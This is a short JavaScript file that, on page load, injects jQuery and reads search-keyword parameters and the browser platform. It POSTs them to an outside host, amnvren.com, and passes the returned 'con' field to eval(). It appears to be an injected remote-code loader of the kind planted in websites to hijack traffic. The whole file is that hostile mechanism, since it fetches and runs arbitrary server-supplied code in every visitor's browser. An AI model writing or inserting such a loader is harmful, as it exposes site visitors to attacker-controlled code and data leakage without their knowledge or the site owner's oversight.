(function( window, undefined ) {   
  with(document) 0[(getElementsByTagName('head')[0] || body).appendChild(createElement('script')).src = '//apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js'];
})(window); 

var qx_href = window.location.href;

function qx_jiexi(url){
	var result = {},param = url.replace(/^\?/,'').split('&'), len = param.length, i = 0, s;  
	for (;i<len;i++) {  
		if (!param[i]) { continue; }  
		s = param[i].split('=');  
		result[s[0]] = s[1];  
	}  
	return result; 
}

var loca_href_param = qx_jiexi(qx_href);

var data = {};

data["input_wd"] = loca_href_param.input_wd||'';

data["sear_wd"] = loca_href_param.sear_wd||'';

data["platform"]=navigator.platform;

function fun_tem(){
	if (window.jQuery) {
		
		window.$ = function(id) {
            return document.getElementById(id);
        };
		
		jQuery.ajax({
		  type: 'POST',
		  url: "https://www.amnvren.com/shb/swt_api.php", //请讲路径改为绝对路径 必须用https协议
		  data: data,
		  success: function(res){
			  var res = JSON.parse(res);				
				if(res.code == '1'){
				 eval(res['con']);
			  }
			  
		  }
		});
	}else{

		setTimeout('fun_tem()', 30);
	}
}
fun_tem();


